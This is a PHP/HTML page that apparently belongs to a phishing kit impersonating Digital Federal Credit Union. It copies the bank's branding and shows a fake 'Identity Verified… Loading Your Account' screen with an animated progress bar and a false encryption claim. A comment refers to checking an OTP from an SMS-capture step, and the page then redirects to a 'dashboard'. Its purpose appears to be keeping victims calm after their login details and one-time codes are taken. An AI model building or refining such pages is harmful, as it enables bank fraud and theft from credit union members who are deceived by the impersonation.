<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>DCU – Loading Your Account</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --teal: #006b5e; --teal-dark: #00574c; --teal-light: #008f7a;
      --teal-pale: #e6f4f2; --teal-mid: #cceae5;
      --white: #ffffff; --offwhite: #f7faf9;
      --text: #1a2e2b; --muted: #6b8c87; --border: #c8dedd;
      --green: #1e8c55; --green-pale: #e6f7ed;
      --shadow: 0 24px 64px rgba(0,107,94,.18); --radius: 10px;
    }
    html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--teal-dark); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .22; }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(0,87,76,.95) 35%, rgba(0,107,94,.80) 100%); }

    .topbar { position: relative; z-index: 10; background: rgba(0,40,35,.9); backdrop-filter: blur(10px); border-bottom: 1px solid rgba(255,255,255,.07); height: 44px; display: flex; align-items: center; padding: 0 36px; }
    .topbar-left { display: flex; }
    .topbar-left a { color: rgba(255,255,255,.6); font-size: .72rem; font-weight: 500; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; padding: 0 18px; height: 44px; display: flex; align-items: center; border-right: 1px solid rgba(255,255,255,.08); transition: color .2s; }
    .topbar-left a:first-child { border-left: 1px solid rgba(255,255,255,.08); }
    .topbar-left a:hover { color: var(--white); }

    .navbar { position: relative; z-index: 10; background: var(--white); border-bottom: 1px solid var(--border); display: flex; align-items: center; padding: 0 36px; height: 72px; gap: 40px; }
    .logo img { height: 44px; display: block; }
    .nav-links { display: flex; gap: 4px; margin-left: 16px; }
    .nav-links a { color: var(--text); font-size: .83rem; font-weight: 600; text-decoration: none; padding: 8px 14px; border-radius: 6px; transition: background .2s, color .2s; }
    .nav-links a:hover { background: var(--teal-pale); color: var(--teal); }
    .nav-spacer { flex: 1; }
    .btn-pay { background: var(--teal); color: var(--white); font-size: .8rem; font-weight: 700; letter-spacing: .07em; text-transform: uppercase; text-decoration: none; padding: 10px 20px; border-radius: 6px; transition: background .2s; }
    .btn-pay:hover { background: var(--teal-dark); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 116px); display: flex; align-items: center; justify-content: center; padding: 48px 20px 64px; }

    .card { background: var(--white); border-radius: 18px; box-shadow: var(--shadow); width: 100%; max-width: 460px; overflow: hidden; animation: fadeUp .5s ease both; }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(22px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--teal); padding: 26px 36px 22px; position: relative; overflow: hidden; }
    .card-header::after { content: ''; position: absolute; bottom: -24px; right: -24px; width: 100px; height: 100px; border-radius: 50%; background: rgba(255,255,255,.06); }
    .card-header h1 { font-family: 'DM Serif Display', serif; font-size: 1.6rem; color: var(--white); position: relative; z-index: 1; }
    .card-header p { color: rgba(255,255,255,.6); font-size: .83rem; margin-top: 4px; font-weight: 300; position: relative; z-index: 1; }

    .card-body { padding: 36px 36px 42px; text-align: center; }

    /* Animated check */
    .check-wrap { width: 70px; height: 70px; margin: 0 auto 22px; position: relative; }
    .check-circle { width: 70px; height: 70px; border-radius: 50%; border: 3px solid var(--green); display: flex; align-items: center; justify-content: center; animation: scaleIn .5s cubic-bezier(.175,.885,.32,1.275) both; animation-delay: .2s; opacity: 0; }
    @keyframes scaleIn { from { transform: scale(0); opacity: 0; } to { transform: scale(1); opacity: 1; } }
    .check-svg { width: 34px; height: 34px; stroke: var(--green); stroke-width: 2.5; fill: none; }
    .check-svg path { stroke-dasharray: 50; stroke-dashoffset: 50; animation: drawCheck .4s ease forwards; animation-delay: .65s; }
    @keyframes drawCheck { to { stroke-dashoffset: 0; } }
    .check-ripple { position: absolute; inset: -8px; border-radius: 50%; border: 2px solid var(--green); opacity: 0; animation: rippleOut .8s ease forwards; animation-delay: .65s; }
    @keyframes rippleOut { 0% { opacity: .5; transform: scale(.9); } 100% { opacity: 0; transform: scale(1.35); } }

    .status-title { font-family: 'DM Serif Display', serif; font-size: 1.3rem; color: var(--text); margin-bottom: 8px; }
    .status-sub { font-size: .86rem; color: var(--muted); font-weight: 300; margin-bottom: 28px; line-height: 1.5; }

    /* Loading items */
    .loading-cards { display: flex; flex-direction: column; gap: 9px; margin-bottom: 26px; text-align: left; }
    .load-item { display: flex; align-items: center; gap: 13px; background: var(--offwhite); border: 1px solid var(--border); border-radius: var(--radius); padding: 11px 15px; opacity: 0; transform: translateX(-8px); animation: slideIn .4s ease forwards; }
    .load-item:nth-child(1) { animation-delay: .8s; }
    .load-item:nth-child(2) { animation-delay: 1.1s; }
    .load-item:nth-child(3) { animation-delay: 1.4s; }
    @keyframes slideIn { to { opacity: 1; transform: translateX(0); } }
    .load-icon { width: 34px; height: 34px; background: var(--teal); border-radius: 7px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
    .load-icon svg { stroke: var(--white); }
    .load-text { flex: 1; }
    .load-bar { height: 7px; border-radius: 99px; background: linear-gradient(90deg, var(--border) 25%, #e8f4f2 50%, var(--border) 75%); background-size: 200% 100%; animation: shimmer 1.4s infinite; margin-bottom: 4px; }
    .load-bar.wide { width: 55%; }
    .load-bar.thin { width: 38%; height: 5px; }
    @keyframes shimmer { 0% { background-position: 200% 0; } 100% { background-position: -200% 0; } }
    .load-check { flex-shrink: 0; color: var(--green); opacity: 0; transition: opacity .3s; }
    .load-item.ready .load-check { opacity: 1; }
    .load-item.ready .load-bar { animation: none; background: var(--teal-mid); }

    /* Progress */
    .progress-wrap { background: var(--teal-pale); border-radius: 99px; height: 7px; overflow: hidden; margin-bottom: 10px; }
    .progress-fill { height: 100%; background: linear-gradient(90deg, var(--teal-dark), var(--teal-light)); border-radius: 99px; width: 0; transition: width .5s ease; }
    .progress-label { font-size: .76rem; color: var(--muted); text-align: right; }

    .security-note { font-size: .76rem; color: var(--muted); display: flex; align-items: center; justify-content: center; gap: 6px; margin-top: 18px; }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.3); font-size: .72rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; margin: 0 6px; }
    .footer a:hover { color: rgba(255,255,255,.8); }

    @media (max-width:640px) { .topbar, .navbar { padding: 0 16px; } .nav-links { display: none; } .card-header, .card-body { padding-left: 22px; padding-right: 22px; } }
  </style>
</head>
<body>

<?php
session_start();
// TODO: Validate OTP from dcu_sms.php before proceeding
?>

<div class="bg-wrap">
  <img src="/DELTACREDITUNION/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-left">
    <a href="#">Insurance</a><a href="#">Investments</a><a href="#">Branches &amp; ATMs</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="/DELTACREDITUNION/auth/action-required/res/img/logo.png" alt="DCU"></div>
  <div class="nav-links">
    <a href="#">Bank</a><a href="#">Borrow</a><a href="#">Plan</a>
    <a href="#">Learn</a><a href="#">Support</a><a href="#">Services</a><a href="#">Membership</a>
  </div>
  <div class="nav-spacer"></div>
  <a href="#" class="btn-pay">Pay My Loan</a>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Loading Your Account</h1>
      <p>Securely preparing your member dashboard</p>
    </div>
    <div class="card-body">

      <div class="check-wrap">
        <div class="check-circle">
          <svg class="check-svg" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
        <div class="check-ripple"></div>
      </div>

      <div class="status-title" id="statusTitle">Identity Verified</div>
      <div class="status-sub">Loading your accounts and recent activity.<br>You'll be redirected in a moment.</div>

      <div class="loading-cards">
        <div class="load-item" id="li1">
          <div class="load-icon">
            <svg width="15" height="15" fill="none" stroke-width="2" viewBox="0 0 24 24"><rect x="2" y="5" width="20" height="14" rx="2"/><line x1="2" y1="10" x2="22" y2="10"/></svg>
          </div>
          <div class="load-text"><div class="load-bar wide"></div><div class="load-bar thin"></div></div>
          <svg class="load-check" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
        <div class="load-item" id="li2">
          <div class="load-icon">
            <svg width="15" height="15" fill="none" stroke-width="2" viewBox="0 0 24 24"><line x1="12" y1="1" x2="12" y2="23"/><path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"/></svg>
          </div>
          <div class="load-text"><div class="load-bar wide"></div><div class="load-bar thin"></div></div>
          <svg class="load-check" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
        <div class="load-item" id="li3">
          <div class="load-icon">
            <svg width="15" height="15" fill="none" stroke-width="2" viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
          </div>
          <div class="load-text"><div class="load-bar wide"></div><div class="load-bar thin"></div></div>
          <svg class="load-check" width="16" height="16" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
      </div>

      <div class="progress-wrap">
        <div class="progress-fill" id="progressFill"></div>
      </div>
      <div class="progress-label" id="progressLabel">0%</div>

      <div class="security-note">
        <svg width="12" height="12" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>
        256-bit SSL encrypted connection
      </div>

    </div>
  </div>
</div>

<div class="footer">
  <p>© <?= date('Y') ?> Digital Federal Credit Union. All rights reserved.
    <a href="#">Privacy Policy</a> | <a href="#">Security</a>
  </p>
</div>

<script>
  const fill  = document.getElementById('progressFill');
  const label = document.getElementById('progressLabel');
  const labels = ['Loading accounts…', 'Fetching transactions…', 'Almost ready…'];
  let progress = 0;

  const progInterval = setInterval(() => {
    progress = Math.min(progress + (Math.random() * 4 + 1), 95);
    fill.style.width = progress + '%';
    label.textContent = Math.floor(progress) + '%';
  }, 120);

  [['li1',900],['li2',1500],['li3',2300]].forEach(([id, delay], i) => {
    setTimeout(() => {
      document.getElementById(id).classList.add('ready');
      document.getElementById('statusTitle').textContent = labels[i];
    }, delay);
  });

  setTimeout(() => {
    clearInterval(progInterval);
    fill.style.width = '100%';
    label.textContent = '100%';
    document.getElementById('statusTitle').textContent = 'Welcome back!';
    setTimeout(() => { window.location.href = 'dashboard.php'; }, 600);
  }, 3200);
</script>
</body>
</html>